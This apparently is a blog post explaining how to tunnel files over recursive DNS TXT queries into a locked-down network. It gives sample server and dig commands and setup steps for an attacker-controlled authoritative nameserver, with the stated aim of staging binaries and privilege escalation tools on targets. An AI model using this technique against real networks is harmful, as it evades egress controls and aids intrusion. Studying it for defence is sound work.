In these scenarios where you’ve got a really locked down environment, one of my go-to methods for getting data in and out is to tunnel it through recursive DNS queries. If the target machines nameserver (or any nameserver it can talk to on the network) will do recursive queries out to the Internet, you’re in luck. I find this is almost always the case.
For those who may be unfamiliar with this technique the scenario looks something like this:
Target <—> Internal DNS Server <—–> Registrar Nameserver <——> Attackers Remote Machine
There are a number of existing tools to do this (dnscat, iodine…) Unfortunately all of the ones I could find to accomplish this require a binary to be loaded onto the target machine. The whole reason I need to tunnel things over DNS in the first place with this scenario is so I can load binaries onto the target!
So my goal was to do this with a client/server where the client script uses only tools native to the host OS. Ideally the client script should also be short incase it needed to be written out by hand (physical access) or through some blind command execution exploit. Using such a script, you could pull down other, more complex binaries (like iodine or dnscat, or privilege escalation tools).
The easiest way I thought of to do it was to have the server base64 encode a specified file, split it into chunks, and server those chunks up in TXT records. For example:
bm@mybox:~/Code/dnsftp$ sudo ./server.py -f ../nbtool/dnscat
DEBUG:root:[+] Bound to UDP port 53.
DEBUG:root:[+] Waiting for request…
bm@mybox:~/Code/dnsftp$ dig +short @localhost 0.dns.testdomain.com
bm@mybox:~/Code/dnsftp$ dig +short @localhost 1.dns.testdomain.com
Notice in the above script we don’t use “dig @localhost” anymore – the request goes through some DNS servers on the Internet and eventually makes it to our “server.py” file. For this to work correctly, you need to have your server that runs server.py setup to be authoritative for a subdomain. This can be configured with your registrar.
- Configure your server where you will run server.py to be the authoritative nameserver for a subdomain (e.g: dns.testdomain.com). Do this with the registrar where you’ve registered testdomain.com.
- On the server, run sudo ./server.py -f someFile
- On the client, run ./client.sh dns.testdomain.com
- At this point you should see the client and server start puking base64 debugging output. The client will write the base64 to disk and then decode it when done.
- This should be trivial to implement in powershell for Windows hosts as well. Would be very useful.